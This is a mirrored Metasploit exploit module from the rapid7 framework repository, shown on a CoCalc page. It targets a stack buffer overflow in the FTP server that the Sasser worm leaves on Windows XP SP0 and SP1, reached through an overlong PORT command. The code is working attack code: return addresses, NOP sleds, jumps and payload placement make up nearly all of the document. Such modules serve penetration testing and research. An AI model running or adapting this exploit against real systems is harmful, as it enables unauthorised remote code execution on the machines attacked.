Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/sasser_ftpd_port.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Sasser Worm avserve FTP PORT Buffer Overflow',
16
'Description' => %q{
17
This module exploits the FTP server component of the Sasser worm.
18
By sending an overly long PORT command the stack can be overwritten.
19
},
20
'Author' => [ '<valsmith[at]metasploit.com>', '<chamuco[at]gmail.com>', 'aushack' ],
21
'Arch' => [ ARCH_X86 ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'OSVDB', '6197'],
25
],
26
'DefaultOptions' => {
27
'EXITFUNC' => 'thread',
28
},
29
'Platform' => ['win'],
30
'Privileged' => false,
31
'Payload' => {
32
'Space' => 480,
33
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
34
'StackAdjustment' => -3500,
35
},
36
'Targets' => [
37
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll
38
[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], # p/p/r
39
],
40
'DisclosureDate' => '2004-05-10',
41
'DefaultTarget' => 1,
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options(
51
[
52
Opt::RPORT(5554),
53
]
54
)
55
end
56
57
def exploit
58
connect
59
60
print_status("Trying target #{target.name}...")
61
62
sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
63
sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)
64
65
send_cmd(['PORT', sploit], false)
66
67
handler
68
disconnect
69
end
70
end
71
72